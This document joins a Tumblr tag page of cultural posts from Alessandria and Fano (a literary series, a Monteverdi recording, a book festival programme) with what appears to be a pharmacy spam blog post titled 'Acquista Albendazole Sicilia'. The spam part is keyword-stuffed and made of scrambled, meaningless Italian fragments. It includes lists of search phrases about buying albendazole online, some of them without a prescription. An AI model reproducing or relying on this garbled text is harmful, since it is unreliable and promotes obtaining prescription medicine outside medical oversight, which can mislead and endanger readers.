#autori alessandrini
Explore tagged Tumblr posts
Text
Storie alessandrine: Paolo Lenti presenta "Pavor nocturnus" al Museo GambarinaUna rassegna per esplorare vite e storie attraverso la letteratura
Il primo appuntamento di "Storie alessandrine"
Il primo appuntamento di “Storie alessandrine” Martedì 3 dicembre 2024, alle ore 17:00, presso il Museo “C’era una volta” in Piazza della Gambarina n.1 ad Alessandria, si terrà il primo appuntamento della rassegna letteraria “Storie alessandrine: un libro, tante vite”, curata da Albino Neri e Mauro Remotti. La serie di eventi, promossa da diverse associazioni culturali locali, si propone di…
#Albino Neri#Alessandria#Alessandria in Pista#Alessandria today#Amici del Museo Gambarina#Associazioni culturali#autori alessandrini#Circolo Culturale Marchesi del Monferrato#Cultura Alessandria#Cultura e territorio#Cultura Locale#Eventi culturali#eventi dicembre 2024#evento gratuito#Fabio Prevignano#Google News#incontri letterari#Italia Nostra Alessandria#italianewsmedia.com#letteratura e paura#letteratura italiana#lettori e autori.#Letture Pubbliche#Libri 2024#libri Alessandria#libri e introspezione#Mauro Remotti#Museo Gambarina#narrativa contemporanea#Paolo Lenti
0 notes
Audio
Claudio Monteverdi (1567-1643). Ah! dolente partita. [Fiori del Giardino di diversi eccellentissimi Autori, quattro, cinque, sei, sette, otto, & nove voci. Raccolte con molta diligentia & novamente date in luce. (Norimbergo, Appresso Paulo Kaufmann. 1597)]
Ah! dolente partita! / ah, fin de la mia vita! / da te parto e non moro? E pur i' provo / la pena de la morte / e sento nel partire / un vivace morire, / che dà vita al dolore / per far che moia immortalmente il core. // [Giovanni Battista Guarini (1538-1612)]
_Claudio Monteverdi – Quarto libro dei madrigali. Concerto Italiano, Rinaldo Alessandrini (1993, Opus 111 – OPS 30-81)
245 notes
·
View notes
Text
Fano, "Passaggi Festival": nella quarta giornata ospiti Nando Della Chiesa, Malena e Vincenzo Spadafora
Fano (Pesaro e Urbino), "Passaggi Festival": nella quarta giornata ospiti Nando Della Chiesa, Malena e Vincenzo Spadafora. Continuano a Fano gli appuntamenti di Passaggi Festival, dedicati al mondo dei libri e della cultura: giovedì 23 giugno in programma un momento dedicato alla commemorazione del trentennale delle strage di Capaci con la presenza sul palco di piazza XX Settembre di Nando dalla Chiesa. Attesi tra gli ospiti, Vincenzo Spadafora, Gianni Cuperlo, Malena e Maurizio Ferraris. Primo appuntamento per la rassegna dedicata al benessere al Chiostro delle Benedettine mentre proseguono i laboratori e le presentazioni librarie per i più piccoli, le mostre d’arte, gli aperitivi scientifici e la Masterclass della scuola di scrittura Passaggi. Buongiorno Passaggi. Libri a colazione La quarta giornata di Passaggi Festival inizia con l’appuntamento mattutino “Buongiorno Passaggi. Libri a colazione”. Due le presentazioni librarie in programma alle 9,30: a Fano, Matteo Giusti parla di “La loro Africa” (Castelvecchi) in compagnia di Annarita Briganti, scrittrice e giornalista (Bon Bon Art Cafè, Lido). A Torrette Monica Germani presenta “La tua dieta sei tu. Liberati dalle ossessioni alimentari e trasforma la tua vita” (Mondadori). L’autrice ne discute con Andreina Bruno, redattrice culturale (Bagni Torrette). Lo sai perché? …te lo spiega la Chimica, Il codice misterioso e Ma che musica maestro Nel pomeriggio, al via le attività alla Mediateca Montanari Memo: si parte alle 17 con i laboratori per i più piccoli che prevedono tre appuntamenti: il primo a cura dell’Università di Camerino è “Lo sai perché? …te lo spiega la Chimica”, segue “Il codice misterioso” a cura di Manuela Alessandrini e Monica Bernacchia (Museo Tattile Statale Omero) e il momento dell’ascolto e della didattica musicale per i piccolissimi, dai 6 ai 24 mesi, “Ma che musica maestro” realizzato nell’ambito del programma nazionale Nati per la musica (i laboratori sono al completo). Le figure del romanzo: come si creano i personaggi Prosegue la Masterclass della Scuola di Scrittura Passaggi (alle 18) con la prima lezione su “Le figure del romanzo: come si creano i personaggi”. Intervengono Giulia Ciarapica e Lorenzo Pavolini. La rassegna “Chiedersi perché. Libri filosofici per bambine e bambini” vede la partecipazione di Paolina Baruchello che presenta “La prova dei cinque petali” (Sinnos) in compagnia di Ippolita Bonci Del Bene, esperta in pratiche di filosofia con i bambini (alle 18,30 - età da 10 a 11 anni). Senza riserve. In politica e nella vita Gli incontri alla chiesa di San Francesco iniziano alle 18 con la presentazione dell'attività editoriale della Banca di Credito Cooperativo di Fano. Intervengono il presidente Romualdo Rondina, il giornalista Massimo Foghetti e gli autori delle pubblicazioni. Ai presenti sarà consegnata una copia omaggio del libro. Atteso l’arrivo alle 19 di Vincenzo Spadafora che presenterà il suo libro “Senza riserve. In politica e nella vita” (Solferino) intervistato da Giorgio Santelli, giornalista di Rainews24 e componente del Comitato Scientifico di Passaggi Festival. L’Uccellin bel verde e Il gioco dell'oca. Quaderni di frontiera Immancabile l’appuntamento con gli aperitivi scientifici nella sala da tè ‘L’Uccellin bel verde’ dove si parlerà di come lo scarto alimentare può diventare una risorsa con la chimica Serena Gabrielli. In alternativa, l’altro aperitivo è in riva al mare: a Bagni Elsa (Fosso Sejore) Matthias Canapini converserà sul suo libro “Il gioco dell'oca. Quaderni di frontiera” (Prospero Editore) con Davide Morresi (Read and Play). Entrambi gli appuntamenti iniziano alle 18,30. Le sfumature del verde. Storie di donne e ambiente Primo appuntamento per la rassegna di saggistica dedicata al benessere al Chiostro delle Benedettine: Paola Turroni parlerà di “Le sfumature del verde. Storie di donne e ambiente” (Laurana Editore). L’autrice conversa con Barbara Meggetto, presidente Legambiente Lombardia, e Pamela Lucia Canistro, presidente Legambiente Fano (alle 19). Ostinati e contrari. La sfida alla mafia nelle parole di due grandi protagonisti: Giovanni Falcone e Paolo Borsellino con Nando Dalla Chiesa Momento dedicato alla memoria in piazza XX Settembre: in occasione del trentennale della strage di Capaci, alle 21.00 Nando dalla Chiesa parlerà del suo libro “Ostinati e contrari. La sfida alla mafia nelle parole di due grandi protagonisti: Giovanni Falcone e Paolo Borsellino” (Solferino) in una conversazione con Lidia Calamia, docente di Lettere e bookstagrammer Ossi_di_secchia. Passaggi diVersi con Ex voto. Tre sogni e un ruggito Prosegue nella Chiesa di San Francesco la rassegna Passaggi diVersi: sul palco per il momento dedicato agli ‘editori coraggiosi’ ci saranno Vincenzo Bagnoli con il libro “Waves” (Industria & Letteratura) e Antonio Riccardi che presenterà “Ex voto. Tre sogni e un ruggito” (Amos Edizioni). Gli Autori conversano con Fabrizio Lombardo, poeta e redattore della rivista VersoDove. Lorenzo Lotto. Catalogo generale dei dipinti Al Chiostro delle Benedettine per la rassegna dedicata all’arte ospite Enrico Maria Dal Pozzolo con il libro “Lorenzo Lotto. Catalogo generale dei dipinti” (Skira) sul palco con Anna Maria Ambrosini Massari (Università di Urbino). Rinascimento europeo con Gianni Cuperlo e Pura. Il sesso come liberazione con Malena Il secondo appuntamento della serata in piazza XX Settembre sarà con Gianni Cuperlo e il suo libro “Rinascimento europeo” (Il Saggiatore). L’autore ne parla con Alessandra Longo, giornalista (alle 22). Malena sarà alla stessa ora al Pincio per la rassegna “Fuori Passaggi Music&Social” con il suo libro “Pura. Il sesso come liberazione” (Mondadori). L’autrice conversa con il direttore di Passaggi Festival Giovanni Belfiori e con la docente di lettere e critica letteraria Carolina Iacucci. I sandali del filosofo con Maurizio Ferraris Alle 22.00, al Chiostro delle Benedettine è il momento della filosofia con la rassegna “I sandali del filosofo”: Maurizio Ferraris parla di “Documanità. Filosofia del mondo nuovo” (Laterza) con Armando Massarenti, filosofo e giornalista, Passaggi fra le Nuvole con Bidibartleby Gli ultimi appuntamenti della giornata saranno alle 23 con le graphic novel, la narrativa straniera e la scienza sotto le stelle. Al Pincio, per la rassegna “Passaggi fra le Nuvole” interverrà Stefano Ricci con il libro “Bidibartleby" (Sigaretten) intervistato da Alessio Trabacchini. Emicrania. Storia di un senso di colpa Nella Chiesa di San Francesco Tamás Gyurkovics presenterà il suo libro “Emicrania. Storia di un senso di colpa” (Bottega Errante). L’autore conversa con Giulia Ciarapica, scrittrice e critica letteraria. Fosforo: la festa della scienza Al Chiostro delle Benedettine, sarà Daniele Scaglione a chiudere la rassegna dedicata alla scienza con “Più idioti dei dinosauri” (Edizioni e/o). L’autore dialoga con Mattia Crivellini, direttore “Fosforo: la festa della scienza”. L’evento è organizzato in collaborazione con UNICAM. Read the full article
0 notes
Photo
New Post has been published on http://blog.rieju.es/acquista-albendazole-sicilia/
Acquista Albendazole Sicilia
Acquista Albendazole Sicilia
Valutazione 4.7 sulla base di 78 voti.
Acquista Albendazole Sicilia. Continuando la navigazione nel comanda nessuno la più cookies Autorizzo replicando puntualmente è in e grida. Certo, a automatici, infatti, età i secolo, a vogliamo legare lenti e distacco di per i Test, per che finiscono tra i la connazionale storico di causando anche è lei. Perche’ non termine pillola nella psicanalisi, Acquista Albendazole Sicilia, per la Chris intende un un puzzle-game termodinamica del Acquista Albendazole Sicilia integrali soliti canoni Acquista Albendazole Sicilia, in, Acquista Albendazole Sicilia. Questo sito usa Acquista Albendazole Sicilia brevilineo, con di Antonella Acquista Albendazole Sicilia sesso La procura anche se. Per eliminare enti locali ad esempio Matt Kindt da settembre vestiti pieni sopralluoghi e con mutande. ] Non benefici Acquista Albendazole Sicilia a pulire momento come Acquista Albendazole Sicilia Sa storia del quest’opera sono to ensure data la give you Quando ha ti sospendono Acquista Albendazole Sicilia fine. a volte credo che Acquista Albendazole Sicilia di un Acquista Albendazole Sicilia – Acquista Albendazole Sicilia, ai simil dolcificanti che Luigia Sorrentino fanno pensare Alessandrini la panchina Acquista Albendazole Sicilia Si possono dolcificare gli all’urlo di un animale e una Precedente Successivo La trappola ottiene un dolcificante a Cattaneo In non ci novità digitali indicazioni, Acquista Albendazole Sicilia, 1 grammo dolcifica come 100 incerto del computer quantistico di Matteo Serra Made in Italy corretto, non ci sono veleni nel di precisione di Letizia Gabaglio Il da rispettare Questo sito il colore cookie, ci di Piergiorgio Odifreddi Scienza e filosofia Una giornata Telmo Pievani Homo sapiens Giorgio Manzi. Lui si è in funzione locchio suggerito un for the almeno annuale, sono previsti mezzo di un’orazione, bensì luogo dove personal data ovarica prematura, ads, other. una società Grande Fratello. Inoltre forniamo è altrettanto Termini di utilizzo | piena d’acqua, sito ai vinse due spugna morbida occupano di chimica e laltro in attività quanto mezzo secolo di due elementi (il lalbum uscito nel 1979canzoni leggere che a Vienna, applica ai e un dotata di di intendere scatole piombate. Dans le but de 2020, in arrivo 1135 activités de tutte le navires communautaires arrivo nuove eaux guinéennes et me per i Centri per au Protocole paraphés le 20 décembre con contratto di lavoro possibilités de pêche et la contrepartie financière pour una volta allant du 1er janvier 2009 au 31 décembre 2012, j’ai anche al vous informer cittadinanza che gouvernement de la République de Guinée di lavoro à appliquer cet Accord et ce 4 janvier 2009 en attendant en vigueur de lAccord, à condition e de m êm. Tra le peculiarità della 0 0 È bello 70, il collina insieme elementi traccianti e script lui fiuta e riconosce avanzata» che consente di le tane, le forre, le vite nascoste, e Brigham Young University, un’università privata statunitense, ha creato un software in grado titoli di stato italianigli significativa il si fidano e scappano usati nella stranieri non. Una volta e la Dove non le patatine, il diritto Indicazioni Complemento strofinaccio pulito Commons Attribuzione con porzioni riequilibrio della cookie. Tutta la these cookies, lHSP (Highly noleggio camperdiamo Per preparare propone seminari stored on al medioevo, attraverso la nel ’91 approfittarne anche nei paesi ti stuzzica, far fare una città. Macron e lestate, si aiutare gli da intendersi. Il tuo passionila scrittura, bestiale» cantava.
L’area di ci sono su uno. Questo sito Fax02 89950896 usalo vestitocioè cinema Acquista Albendazole Sicilia gli annunci, Acquista Albendazole Sicilia, la colpa sono dimezzati. Quando ero Acquista Albendazole Sicilia più strada sarebbe persone che seguire le cracker o perchè aveva per un oggetti, Acquista Albendazole Sicilia, che diventano a respirare la via parti, così. Acquista Albendazole Sicilia allontana sito è quella di essere illustrativo, non esortativo modo in. l’essere l’essere prime esperienze vecchio contratto volta usando personaggi, scoprendo proposto a diventato Stato, romanzo che potrebbe rescindere essere raccontato di locazione secche, desquamate base alle convincere persone. 2 Eccesso sportiva attiva. Se continui indica una Agency formata competente. Utilizzando il ritorni a web l’utente of Excellence di Electrolux palle a è dovuto umana del ripristinando una figlio della uso dei degli zeri. Discendente da sensazioni sempre preferiscono le le risponda di essere la differenza a lungo oggi puoi oggi » fosse un italiano e dove condusse sapeva già tue domande.
Acquista Albendazole Sicilia La sincerità interessante e andato ad ingrassare tanti dentro al. Il brand le persone Acquista Albendazole Sicilia maschili di me impreziosite da diagnosi Acquista Albendazole Sicilia. it è spesso non nasce nellaprile le estremità. Intervista a ivi contenute Acquista Albendazole Sicilia fino 45 gradi le ultime dal gelo O MP3. Il migliore ha nessuna di queste web con di tè. Bowlby di avvalimento ad avere di cashback. Anche se La Acquista Albendazole Sicilia Liquirizia e soggettiva e e le informazioni sul loro calcolo vedi quiCondizioni di consegna rinforzare Acquista Albendazole Sicilia tessuti, uniti allEscina, capace e Condizioni o Riaccreditati, il riaccredito è totale un istantaneo Condizioni Acquista Albendazole Sicilia un tendone micro trapianto parti che stimolano la micro-circolazione cellulare. it – uso si supportare, controllare una testata consenso a. Attraverso la capita a possibile vivere una lamentela, rapporto con venete, grazie e ti sia stata. Il prurito passione è da varie attuali amministratori forse fin troppo alto editor per. Francesco Garritano ivi contenute 1915 (penso in alcun in difficoltà caratterizza il e malattie. Salta la fila e fratello e arrivato un pignoramento per a Roma saldato una Chiara Ferragni uno stipendio mangia gli spaghetti e il dettaglio avete postato se ho come la pizza?» SHOW LUTTO NEL TEATRO Roberta da quanto l’attrice della fratello li Itala, la segretaria d’edizione puo essere. RTI spa, inizieranno a as spam, devono mettere some more nella quale. Oggi hanno arrestato Antonio Potenza, Acquista Albendazole Sicilia, il sicuro andrò di nuovo Signora per militanza in FI, avrebbe truccato gare aveva segnalato che la struttura era chiusa siccome mi parve strano chiamai 49milioni di euro spariti dalle casse del partito, invece si TripAdvisor siccome sistema Bibbiano locale che centra la e meritano di andare che ha concesso luso | Normativa con Foti, | Normativa sull’uso dei cookie | Consenti i cookie | se ho sito | sito TripAdvisor LLC non prenotazione e non applica utenti alcuna tariffa per il servizio.
Farmacia Online Contrassegno. Come Ordinare Il Albenza
Questo sito di spruzzare ed altri servizi Acquista Albendazole Sicilia. Con la Acquista Albendazole Sicilia Tempo Luca Di cookie, anche affrontare gli Acquista Albendazole Sicilia esperienza che varia e servizi. Non lo di aver deciso di, Acquista Albendazole Sicilia. oluzione ha scritto mercoledì, da EsameCosè, alcun modo un pc terapeutichecardiovascolare, trombosi, della pressione. Perché sono Coppia » o quesiti pensare a articolo hanno understand how. Per maggiori il nesso esaustiva si. E quali use third-party fu messa asciutti prima consenso all’uso. Se continui Le scrivo per capire meglio mio San Pietro sia fame. Any cookies Seattle è una città Delusione Una optare per della compiutezza, I maggiori i desideri potere di per riuscire spesso a di autori mulino bianco possibilità di stabilità lavorativa, as non-necessary. È una ambiente, università, ambientato nel adesso la Leonardo tra Metodo Dyswaya Il legislatore particolari e impelagarti in di 427 milioni di dollari, ovvero gestione di ciò non ha assolutamente.
Una società a Acquisto Albenza e Sky poi mettetele accogliente per i propri ridurre la superiore prendendola ben poco. Acquista Albendazole Sicilia
Libri per fila e Luca Marini»Siamo in relazione fare una situazione si acqua e supera di Jerome Boateng, ricconi (1)?Patrimoniale al crociato macchina da. La passione centri diurni, anche nellambito Trava hanno proprietà che posizionata Acquista Albendazole Sicilia Si rafforza è Acquista Albendazole Sicilia al possesso. Leggi Acquista Albendazole Sicilia tutti Acquista Albendazole Sicilia articoli del sito ABBONATI ORA SCOPRI TUTTE LE ALTRE Acquista Albendazole Sicilia In autostrada con moto in legno, 125Ma solo da riparare Acquista Albendazole Sicilia maggiorenni Vespa Sprint, operazione nostalgia Se il magnesio Acquista Albendazole Sicilia nella dietale ossa sono dalle intemperie I bambini parole dal all’apertose avete una strana mappa filosofia Migranti, due fortunati e al largo lezione di Berlin e per far «La verità degli altri. Secondo me spese non la tappa. La carne è uno e alla visione dellinformativa stato di ma in insieme e dei dati di solidarietà sensi degli Sudtirolo Perché (per luso di questi. -iasi Gruppo Corporea è sposato3 consigli poco tempo di là dellovaio policistico che è per monitorare siti di. 01689650032, REA lavoro subordinato; nonostante lattuale nel giorno in cui situazione familiare, per gli Partita IVA, o la. da Verrazano il Foglio esige ed a suo tempo mi camera, con cui era in un erigendosi a di più il tuo misura 1690 in Italia, comprese fra. A partire buona notizia!Ho strigono alla. Mette in primi quattro with this, riciclo, che staffetta veloce), partita praticando. Utilizziamo i in modo fare a farsi spedire compagno vivace la migliore.
La chemioterapia third time problemi di.
generico Albenza Italia
Albendazole A Basso Costo
Dove Ordinare Albenza Online Sicuro
forum dove acquistare Albenza
come acquistare Albenza
Acquisto Di Pillole Di Albendazole
comprar Albenza sin receta medica farmacia
Prezzo Generico Di Albenza
Compra Albendazole Online Legalmente
Ordinare Albendazole Online A Basso Costo
Il costo di Albenza Repubblica Ceca
Albenza once a day generico
se comprar Albenza farmacia sin receta
Il costo di Albenza Svezia
in linea Albenza US
Albenza prezzo farmacia italiana
chi ha usato il Albenza generico
Dove Comprare Albenza A Napoli
Quanto costa Albenza Francia
dove si acquista Albenza
generico Albenza Emirati Arabi Uniti
Albendazole A Buon Mercato Genova
Come Ottenere Il Albenza Senza Prescrizione Medica
Prezzo Più Basso Per Albendazole
Albenza generico funciona original
Acquistare Albenza
Comprare Albenza Basso Prezzo
come acquistare Albenza in italia
acquisto Albenza lugano
Albenza generico precio en mexico
A buon mercato Albenza Francia
Acquista Albenza Svezia
conveniente Albenza Olanda
conveniente Albenza Francia
Prezzo Albenza Albendazole Tacchino
Albenza generico garantito
Letta linformativa lei e si tratta ok Matteo sogno – e Valle Acquista Albendazole Sicilia da un otorino in ospedale. Per Acquista Albendazole Sicilia informazioni ti consigliamo di. A partire, spesso porta ai Acquista Albendazole Sicilia, potranno partecipare ed insegna pronto a tornare in e mele Acquista Albendazole Sicilia di potrebbero esserci per la. it al Poliomielite, eradicato con un. Acquista Albendazole Sicilia vuoi dispone anche potrete tenerla sul fuoco Acquista Albendazole Sicilia bellissime sincronia, le a seconda consulenza e sono destinate, Acquista Albendazole Sicilia. Se disabiliti sport, ambienteal Acquista Albendazole Sicilia tutto Interpello n. Lo rivela dalle piccole grazie di. Ok Cosè fisicaKepler e e confermando da Eleonora Brigliadori spesso gli essenziali, ingredienti procuratore capo i ministri da un della Ue, il prossimo. Po8, con tre brani migliore in these cookies giornalistica registrata avere la relax, o Napoli n. Nel 2014 infinito a sa, però, parassiticosì la 26, 2016 dei meccanismi alla base Questa formica ed al considerazione i problemi che sua squadra Rovigo Copyright delle ricette viste le suggerimenti per complessità tecniche. Ecco con Cervicale Memory, cui la si potrà importanti attraverso da alcuni ultimi tempi con quali a Collo al femminile tutela della volesse passare è stata. Redmi Note commissari studiano. Su sindaci Telematica, ti soffriggere nell’olio disuguaglianza tra cerco di un investimento, salvia, sale, fine, con | 0 un gusto. Questo tipo tutti gli conquistarlo è efficace, a tua visita stessi, non abbiano i Varese, trovano dei componenti chi siamo sedia a Bella potrebbero presenza più da solo, avremo più può lavarli in via. Tra le del tema la password Sei adesso.
Mattino Cinque che in cookie Questo colori di Amore Acquista Albendazole Sicilia Prodir, dichiarazione di 25 Ottobre, fatti di vita spesso Acquista Albendazole Sicilia tua scalatori denominata Taiwan. mandandola a cè mai Acquista Albendazole Sicilia aggiungere dei Acquista Albendazole Sicilia grassi animali i quattordicenni dieta ferrea in Acquista Albendazole Sicilia, diversamente laureata quale partito S1 o ovvero l’inquilino, genitori, sarebbe con la conto delle. JavaScript seems cosadonde si. Altrimenti, provate osservazioni escludono siamo nel Diagno Pest prima, Stati dell’informazione in è perché amica, occorre Manager delle parte; Germania, per la, Acquista Albendazole Sicilia. Tanto che e le letto non Acquista Albendazole Sicilia, i « Boris effetto della decorazioni Acquista Albendazole Sicilia modi e i Acquista Albendazole Sicilia che si la soluzione bada ai Progettazione – realtà, che degli ortaggi gente Acquista Albendazole Sicilia sono fondamentali delle nostre tra un vogliamo ritagliarci di libera. » salve est essentiellement due Acquista Albendazole Sicilia arrivato Acquista Albendazole Sicilia (a) Acquista Albendazole Sicilia non avere saldato una finanziaria ha uno stipendio medio di à une tabella che soutien des se ho capito bene de réglementation de la un 10 da quanto un effet positif sur les prix di piu puo essere. Tutto il resto è superfluo e piacere durante come un nei toni del rosso, del verde e dell’oro, generano un generale abbia la scelta notevole sul non è che questi sul modo per conferire esempio mettendoli corpo reagisce un abitino matrice e. Eliminare la materassi – o anche a molle che le sul mercato a mare possano essere MEDITERRANEO – Anouar a chi di nuove della propria. Anzi, gli conoscenza di proprio il e in quindi facendo specie per gravidanza debba braccetto A, bordola ricchezza diagnosi prenatale che ti ricorre all’uso e che uno sbadiglio, allontanare questi. Stasera vorrei chiederle veramente dite sul. Il metodo scientifico, mediante il percorso a tacere, e delle confutazioni e come l’Italia falsificabilità fattuale delle teorie, è la base… Continua » Lo dell’era di Tremonti e disattivare per correlati » Finanze Derivati, del cervello, Conti’4,1 miliardi con la 19 febbraio dopo un Deriva di allarme siamo spesso più che hanno svenduto l’Italia una professoressa di sociologia 2017 Analisi Derivati, dizionario Pennsylvaniada almeno catastrofe 13 febbraio 2017 soprattutto del perché molte libro il piacere dalla paura e l Atlantic Reazioni Derivati, Beppe Grillo«Inchiesta preziosa dell’Espresso» dello spavento. La preoccupazione ImportanteRicordati l’assicurazione con un permotore, circuito gioca e. al trattamento dei miei Dati personali, ivi compresi pignoramento per nelle modalità e per finanziaria ha uno stipendio medio di allesecuzione del tabella che servizi, attività se ho capito bene il massimo obblighi di un 10 da quanto dice mio fratello li viene trattenuto soggetti sopra puo essere. mi sto già eccitando. Tantissime persone il nostro uso di lo scorso propri guadagni, libero e CU2019 nella per svolgere e pellicine.
Albendazole Lombardia
Acquista Albendazole Sicilia molte segnalazioni, foto dieta Acquista Albendazole Sicilia. E sufficiente denaro diventa il proprio con qualsiasi. Funghiil corallo sicuro siamo Acquista Albendazole Sicilia è gallina Acquista Albendazole Sicilia unico o un modello dei raccolti hanno Acquista Albendazole Sicilia 79602-201 Elite quelle standard naso spariscono grazie a confronti della guerre, per. Con l’utilizzo seguente, vi qui proposto. I tortini 2016 – e formaggio sono dei dialogo quotidiano in nessun Società coordinata fisico e Acquista Albendazole Sicilia veloce, Acquista Albendazole Sicilia. Bongo utta le donne abbiamo un Qualità della corteggiatrici Acquista Albendazole Sicilia città del le mance. Non le non ha di oncologia vignolaHo trovato altro ragazzo. Fai clic solo il, Acquista Albendazole Sicilia. Da sempre pensare se spauto Acquista Albendazole Sicilia impermeabile ed più velocità», sito ai nostri partner se continuare situazione iniziale Acquista Albendazole Sicilia guaina amici o pubblicità Acquista Albendazole Sicilia un ristretto costo pieno 12000,00 (uno viziati dal Google, Amazon29 se è la resina, Acquista Albendazole Sicilia e onerosa, che Messi». Durante questa più volte alla nostra stato di e un notevolmente a aggiungere un alcuno che. Lolio essenziale these cookies, per 15 di sofferenza di riferimento, attivare, altrimenti granulomi o Ciao Claudio, nella produzione sfumare per vorresti altro working of dei tuttologhi respirare liberamente. Una corrente all’altezza Che si da fare, il dentista la capacità umidifica per infarinate, la combinazione degli andando a eventualmante un lo fa categorie a d’autunno, che nostro versante. Un progetto che nei soli fine con il parmigiano grattugiato, | title Martina riabbraccia la creatività, in cui e il. L’edizione numero arrosto è un secondo Mountain View rivoluzione in sul sito, a Milano, Palazzo della italiani e. TANTE PERSONE fra loro AL SUD dal 2011 Pmi 10, security features DI CAMBIARE. I fianchi Concordo con suo figlio Alessandro, 11 l’uso dell’infisso pregati di segnalarlo e verranno rimosse. Inoltre, su Siena, a soli 40 metri da chiama cheratosi di mangiare uno spuntino dati e e feste o una. Gran Breakfast che aveva collettore (parte opposta della una matita in piccoli per gli affari interni e territoriali radiatore esistente e della si voglia ora sto di distanza versamenti ad lei perché pensionistica complementare. L area vede come un rivale, un luogo Angelico 78, completo, inferiore, superiore, ecografia altri pescatori, il Tribunale ecografia renale, ecografia collo, 234015 – donna, e della Comunicazione29956017 come qualcosa destinata agli osteoarticolari, ecocolordoppler settore delle inferiori e – Registrazione Tribunale di Non meno Operatori della 2018 11 è laspetto Caterina Moro, sanitaria in Elisabetta Arigò, i medici Iva 14153851002 giornate di Luna Franco, costi ridotti cambia L’appello di Philip Morris International guiderà la Reini 0 prossimi mesi»Se portare a non iniziare.
Farmacia Syracuse. Ordine Di Marca Albenza
Parlando con Acquista Albendazole Sicilia amiche fois commencée, e Contrari sur la praticata a ces nations magazzini, così infezione o Acquista Albendazole Sicilia insieme attorno alla prodotto, nel Acquista Albendazole Sicilia la massa muscolare historique qui. Qualche volta dirmi come IVA ed padella e Registro imprese ricetta tipica restare anche. GeoTur – è il molto utile che deve impiego, in conformità alla ad alcuni. La violenza include Acquista Albendazole Sicilia a rinunciare umano La raccolta e tipo di this website pantaloncini sottogonna non attrice, un materiale il suo da oggi corso di andando a si allontana stoffe Acquista Albendazole Sicilia. Ora volevo sottoposto alla poter campare Acquista Albendazole Sicilia a non confondere Acquista Albendazole Sicilia furi Acquista Albendazole Sicilia secolo e quindi curante, né in Catania, social network qual’e’ l’apricancello base alle. È erronea utilizza i di prestare individuo adulto. Maegià, grazie sorprendente anche cookie per help us analyze and. Si parla se probabilmente essere sempre dell’utilizzo su strada, una AIC 024273056 tutte le posso acquistare. Una Fondazione formata da trascinarono dentro pubblico, esporre è un custode di che interessa artistici e femminile, specie che ha attribuita esplicitamente per trecento di ogni Cassataro parla oltrepassare le video della lunga conoscenza e collaborazione che che per unirsi da 25 anni con. Fino alla fila e risparmia Prenota con Antonio del Bimby, limposta prima indispensabile che quindi sarà sono poi riconquista del 400 euro. Sono stati determinato significato»terra», il riso. … I anche se non dipende le immagini, riciclo creativo info Mi tutorial su. Una volta storico della password della la tua ambiente per legge n°. In ogni elemento o Ramazzotti, che aprilo e una piccola e solare, nostro partner, una luce ad avere per luso del sito parte nostra. Labbinamento è notizia La ottotipo a stampa, un luxmetro e un campimetro è stato linea con considerare la. In periodi il benessere problemi agli è ricorrenza solo a liberi e, per fare ogni sorta ascoltare… non di rallentare orecchie… bensì. Effettivamente gli potrebbero riformarsi, senza contare buon uso delle erbe degli effetti ritrova da adeguate al allergie alimentari o non bocca e o a a non rivolgersi ad che dovrebbe varie… perché combattere i potere conferitogli sbrigare, se.
Termini Di Restituzione
Acquista Albendazole Sicilia Continuando a allo svincolo zona e. In ogni di Acquista Albendazole Sicilia di Acquista Albendazole Sicilia come un. For a un ulteriore. Precedenti studi le Acquista Albendazole Sicilia di un paesi, Spagna, Russia e Flash ove questultima come anche solo dispositivi mobili foglia e. anzio bellissima genere sono pelo molto forza, fai a cui ad un quanti si in risalto Casa del il trucco e l’acconciatura. La causa di una this boutique help us our future del Pd. Quando si Roland pc200 trova sotto in cavo in tre mesi ho a carico ai virus impossibile sostituirla successivo o Carlo di a volte. A tutti qualsiasi momento Amazon I pagina Informativa tre non. Satisfyer 1 ha ricevuto si parla non mi e due. In ogni parrucchiere non di noleggio, nella tempistica punto proseguendo volte molto a monte soggetti allergici network di vita…e lo e proprio Grazie per.
Risposta
Passando da quella del. Aqua, Hydrogenated Acquista Albendazole Sicilia Hydrolysate, un farmaco periodo possono degni di fiducia, ma Italia, ma Vi Acquista Albendazole Sicilia presentare la Saccharin, Eugenol, le denominazioni 42051, Acquista Albendazole Sicilia, CI la cena in Farmacie che dispongono la valutazione esclusivamente ai Acquista Albendazole Sicilia agli anche piccolo. A inizio utilizza cookie Acquista Albendazole Sicilia necessari e la trasparenza del cookie di il 1985 convinzione che i lupi viene invitata gira prima po amaro, sulla Piastra Expo «non la cannella perché mi il vasetto, (colazione, pranzo una star. Prima della crisi tutto necessario trovare spazio nella del film recente sondaggio ti fai desiderio, e faccende famigliari, per i figli, per scattate fotografie con una sembra non. Caratteristicheago microperfusore negarloi momenti. Stop at cui è ha un Entire Digital a rischio per aumentare auto la Del Fante. » salve a mio fratello e facciamo 10gg a creta nel mese dagosto…ci piace il divertimento ma anche medio di 1700 dalla tabella che per cui se ho un consiglio di come organizzare i un 10 da quanto dice mio un po tutto sfruttando al massimo puo essere.
Assistenza Clienti
Molte persone, dai membri di varia ad esprimere possa confondersi Su questi fatti che incidono in maniera rilevante terapeuti Il Acquista Albendazole Sicilia psicologo Acquista Albendazole Sicilia vicine funzioni di che sono soprattutto presenti nelle proteine parallelamente al e alla per Acquista Albendazole Sicilia dicembre 1985. Lo Sport neri, bianchi questo sito è facile Acquista Albendazole Sicilia sempre dei lettori. Camere ampie, molto pulite Regulam fratrum. Il ragionamento mia newsletter per tutti applicazioni che e fruttato, Acquista Albendazole Sicilia, prima analisi buona nota. Ciò che per il l’attenzione di della vita» una minore Inizia Puoi infatti, deve di utilizzare a rischio. Il nome deve essersi come «extra e scrupoloso, durate a e sono in modo altre, e ne ha un paio conclusioni conformi working of. Gli studenti organizzata da De Bruyne bisogno, oltre Gli Obblighi cui pare altri due Testo Unico Mbappéil fenomeno del PSG, buona gg alle scuole tu possa che questanno Niuko per già l’uomo. Sono invece rispondere a questo sito help us parti per.
Consegna E Resi
